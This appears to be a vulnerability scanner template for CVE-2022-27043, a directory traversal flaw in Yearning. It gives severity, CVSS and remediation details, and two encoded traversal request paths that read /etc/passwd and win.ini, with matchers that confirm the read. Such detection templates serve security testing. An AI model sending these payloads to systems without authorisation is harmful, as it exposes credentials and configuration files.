Yearning - Directory Traversal

id: CVE-2022-27043

info:
  name: Yearning - Directory Traversal
  author: Co5mos
  severity: high
  description: |
    Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read arbitrary files from the Yearning database management system, potentially accessing sensitive configuration files, credentials, and SQL audit logs.
  remediation: |
    Update Yearning to a patched version that properly validates file paths and prevents directory traversal attacks through the front endpoint.
  reference:
    - https://github.com/jimdx/YEARNING-CVE-2022-27043/blob/main/README.md
    - http://yearning.io/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27043
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-27043
    cwe-id: CWE-22
    epss-score: 0.06019
    epss-percentile: 0.9245
    cpe: cpe:2.3:a:yearning:yearning:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: yearning
    product: yearning
    fofa-query: app="Yearning"
  tags: cve,cve2022,yearning,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd"
      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body) || contains_all(body, '[fonts]', 'for 16-bit app support')"
          - "contains(content_type, 'text/plain')"
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022069c325c874727ce52284cce2c2ad4b25785d38c1508e4c00609254a8ca68e4e00221009b80e3e1d791e9c08dbb2b98c3d1e6a4512ac3ef6f09e524774e80ea332808e2:922c64590222798bb761d5b6d8e72950